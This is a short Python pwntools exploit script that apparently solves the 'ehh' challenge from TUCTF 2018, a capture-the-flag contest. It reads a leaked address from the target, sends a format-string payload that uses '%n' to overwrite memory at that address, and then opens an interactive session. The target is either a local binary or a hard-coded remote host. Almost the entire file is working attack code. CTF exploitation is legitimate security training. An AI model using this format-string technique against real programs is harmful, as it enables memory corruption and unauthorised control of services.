#!/usr/bin/env python
from pwn import *
import sys

HOST = '18.222.213.102'
PORT = 12345

def info(s):
	log.info(s)

def exploit(p):
	p.recvuntil('< ')
	a=int(p.recvline()[:-1],16)
	info("val at 0x%x"%a)
	payload=p32(a)+'%20x%6$n'
	p.sendline(payload)
	p.interactive()
	return

if __name__=="__main__":

	if len(sys.argv)<2:
		p=process('/home/khongtrang/share/2018/tuctf/ehh')
		print util.proc.pidof(p)
		pause()
		exploit(p)

	else:
		p=remote(HOST,PORT)
		exploit(p)
